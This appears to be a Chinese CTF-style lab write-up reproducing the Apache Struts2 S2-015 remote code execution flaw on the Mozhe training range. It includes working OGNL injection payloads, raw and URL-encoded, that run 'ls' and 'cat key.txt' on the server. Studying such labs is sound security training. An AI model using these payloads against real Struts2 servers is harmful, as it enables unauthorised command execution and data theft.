08#墨者靶场-Apache Struts2远程代码执行漏洞(S2-015)复现

                                                   墨者学习

                                                  By/shy014

背景介绍

某日,安全工程师"墨者"对一单位业务系统进行授权扫描,在扫描过程中,发现了某个业务系统使用Apache Struts2框架。并且该版本存在高危漏洞,不知道运维人员是否修补了漏洞。

实训目标

1、了解Apache Struts2框架;

2、了解Apache Struts2远程代码执行漏洞(S2-015);

3、了解Apache Struts2远程代码执行漏洞形成原理;

4、掌握Apache Struts2远程代码执行漏洞利用方法;

解题方向

验证Apache Struts2远程代码执行漏洞(S2-015)。

由于通配符匹配机制引入的漏洞或OGNL表达式的双重评估允许远程命令执行。

  1. 在墨者学院找到该靶场并点击启动靶场

  1. 点击访问,进入靶场环境,输入/${1+1}.action。发现表达式被执行,证明存在漏洞。

  1. 查看文件

Payload:${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action

需要经过url编码:

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

4.执行cat key.txt,获取key

Payload:/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action

二.使用struts2漏洞检测工具

1.使用工具进行检测,发现存在漏洞

2.执行ls命令

  1. 读取key.txt值

  1. 提交key

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值